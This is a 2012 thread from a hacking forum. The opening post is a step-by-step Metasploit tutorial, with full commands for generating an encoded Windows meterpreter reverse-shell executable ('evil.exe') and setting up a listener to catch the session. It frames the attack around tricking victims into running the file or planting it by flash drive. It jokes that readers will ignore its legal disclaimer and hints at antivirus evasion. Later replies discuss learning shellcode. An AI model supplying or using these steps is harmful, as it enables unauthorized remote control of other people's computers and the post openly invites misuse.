Author Topic: Metasploit Payload Tutorial  (Read 10969 times)

0 Members and 1 Guest are viewing this topic.

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Metasploit Payload Tutorial
« on: September 06, 2012, 05:50:23 am »
Hello all, I was browsing the tutorials section and didn't see anything that mentioned metasploit, so I took it upon myself to write one. This isn't to horribly in depth, and no, I do not know everything there ever is to know about metasploit or how it works, I just know how to use it. So, lets get started shall we!
 
What exactly is metasploit?
 
 Metasploit is a framework used for storing, deploying, and creating exploits. An exploit is a piece of code which can interact with other programs to let the attacker (you) execute bits of code on the victims computer. It also has a wonderful tool known as msfpayload.
 
 What is msfpayload?

msf payload is used in conjunction with msfcli and msfenocde. Together, they are a set of tools which creates a file that connects back to your computer, encodes the file, and sets up a listener for said file. This method completely bypasses  the need for exploits, but requires social engineering skills to somehow get your file on their computer and for them to execute it. (or just sneak a flash drive in while their not looking and execute it for them, but I don't recommend  that.) Sounds great right? so how do you do it?
 
 ||Tutorial starts here||

 
 I will be using Backtrack 5 R3, and using msfconsole.
 
 To start it off, update msf by starting a terminal and running "msfupdate". It will say "Updated to revision #####" when finished.
 
 Now execute "msfconsole" (which will take a few moments to load.
 
 After it shows the msf banner, it will give you the msf prompt "<u>msf</u> >.
 
 Type "show payloads". This gives you a list of all the payloads available. We are going to use windows/meterpreter/reverse_tcp
 
 Type "use windows/meterpreter/reverse_tcp" and it will bring you into that module. type "info" to see what options are required and other useful information.
 
 We see that there are three options needed, EXITFUNC, LHOST, and LPORT. EXITFUNC is just how the program will show up on windows, don't really need to care about that. LHOST is your IP address, so the program will know where to connect back to, and LPORT is the port it will connect back on. EXITFUNC and LPORT already have default values placed in them, which work fine and we don't need to change.
 
 LHOST on the other hand, does need an option. This is your IP address. If you are performing this over a LAN network, then you just need your LAN IP, such as 192.168.2.5. If you are performing this over WAN, use your WAN address and have correct port forwarding (and pray nobody traces it back to you). We set LHOST by typing "set LHOST 192.168.2.5". If we run "info" again it shows our LHOST as the ip we put in.
 
 So with all that in order, now we just type "generate -e x86/shikata_ga_nai -i 30 -t exe -f evil.exe" which will create the file in your Home folder. Take that file, and copy it on to a flash drive.
 
 Now for the second part (much quicker then the first). Go back to your terminal and type "back", to be brought back to the main msf menu.
 
 We are going to use the handler to listen for connections, so type "use exploit/multi/handler" to set the module.
 
 Now to set the options, type exactly in the following in order:
 set PAYLOAD windows/meterpreter/reverse_tcp    (the payload we generated earlier)
 set LHOST 192.168.2.5 (your ip address, whatever that may be)
 set LPORT 4444 (the default port)
 exploit
 
 and the handler is started. When somebody executes  that file we made earlier, it connects back to your computer, and the listener we just created handles that connect back. When somebody executes it, you will have a session created. Just type "sessions 1" and you will connect.
 
 ||End Tutorial||
 
 Disclaimer: Only use this on YOUR computers, doing this without permission on other peoples computers is ILLEGAL. Since I know your going to ignore that anyways, just phrase your questions in a way that sounds legal. I am not the metasploit guru, I will attempt to answer questions to the best of my ability, but you are probably better off googling it.
 
 I encoded the file in shikata_ga_nai 30 times, but this will not get past the antivirus. There are ways to code it and encrypt it so it will, but we all have our ways of doing it, and sharing secrets never works :)
 
 Hope you enjoy, hope it makes sense, just reply to it if there is anything you think should be changed.
 
 Thanks, corrupted_fear
« Last Edit: September 06, 2012, 05:53:52 am by Corrupted_Fear »

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline Live Wire

  • Knight
  • **
  • Posts: 189
  • Cookies: 4
  • Up on your Net
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #1 on: September 06, 2012, 07:42:01 am »
fairly good tut. all info correct, thanks for the tip about antivirus. or, you could just use armitage. thats what i do.
 
but still, good. This will be very informative to the new kids.
« Last Edit: September 06, 2012, 07:42:37 am by Live Wire »
"There is no right or wrong, there is only fun and boring."

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #2 on: September 06, 2012, 07:50:04 am »
Ty very much, its sorta my first official tutorial. And to me armitage is cheating :) You don't learn as much, just hit buttons and watch magic happen.
« Last Edit: September 06, 2012, 07:51:33 am by Corrupted_Fear »

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: Metasploit Payload Tutorial
« Reply #3 on: September 06, 2012, 08:43:19 am »
And to me armitage is cheating

And metasploits not?
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline z3ro

  • Knight
  • **
  • Posts: 345
  • Cookies: 60
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #4 on: September 06, 2012, 01:30:58 pm »
 metasploit is way to kind to script kiddies...
~ God is real. Unless declared as an integer.

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #5 on: September 06, 2012, 03:39:21 pm »
True, I stand corrected.

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline z3ro

  • Knight
  • **
  • Posts: 345
  • Cookies: 60
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #6 on: September 06, 2012, 04:04:22 pm »
True, I stand corrected.


Really want to know how it all works? Grow up, learn shellcoding...  :P
~ God is real. Unless declared as an integer.

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #7 on: September 07, 2012, 12:23:38 am »

Really want to know how it all works? Grow up, learn shellcoding...  :P

Go to forum and ask "how to hack?" and you get pushed aside. Publish a skid tutorial and you get told exactly what you need to know. :P Thanks man, ill read up on it. Always wanted to know how it all worked.

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: Metasploit Payload Tutorial
« Reply #8 on: September 07, 2012, 12:33:13 am »
well I got to give you props for learning ;)
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Live Wire

  • Knight
  • **
  • Posts: 189
  • Cookies: 4
  • Up on your Net
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #9 on: September 07, 2012, 11:53:57 am »
Personally, I don't care if it's easy for everyone, I just like it when it's easier for me ;)
"There is no right or wrong, there is only fun and boring."

Offline namespace7

  • Sir
  • ***
  • Posts: 561
  • Cookies: 115
  • My Brother's Keeper
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #10 on: September 07, 2012, 02:39:29 pm »
Easier does not mean better. Actually, in most cases it means the opposite. Sad but true.
"A programmer’s greatest enemy isn’t the tools or the boss or the artists or the design or the legacy code or the third party code or the API or the OS. A programmer’s greatest enemy is getting stuck.
Therefore a crucial step to becoming a better programmer is learning how to avoid getting stuck, to recognize when you’re stuck, and to get unstuck." -Jeff Wofford

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #11 on: September 08, 2012, 12:41:37 am »
Question. Apparently shell coding is a heck of a lot more then I thought it would be. I have to

1. learn/relearn C++
2. learn buffer overflow techniques
3. perfectly understand how a x86 processor works
4. learn shellcode
5. something I'm probably missing.

Any recommendation on exactly which order I should learn these, and any resources you have found helpful? (yes ik I have google, just wondering if you had anything extra that you liked). Ty again.

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: Metasploit Payload Tutorial
« Reply #12 on: September 08, 2012, 01:31:20 am »
1. Learn C++
2. Learn ASM

That will get you started and take the majority of your time for a good while :P
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Corrupted_Fear

  • Knight
  • **
  • Posts: 336
  • Cookies: 34
  • Is dangerous to go alone! Take this! @xxxx[{:::::>
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #13 on: September 08, 2012, 04:05:44 am »
C and Assembly.... Ill be gone for a while....

by | Angel | Devil |

"Welcome to le trove that is my home. Welcome to EvilZone." -- DeepCopy

Offline z3ro

  • Knight
  • **
  • Posts: 345
  • Cookies: 60
    • View Profile
Re: Metasploit Payload Tutorial
« Reply #14 on: September 08, 2012, 04:49:30 am »
C and Assembly.... Ill be gone for a while....


may I ask from where you are planning to learn it? An online tutorial perhaps?
~ God is real. Unless declared as an integer.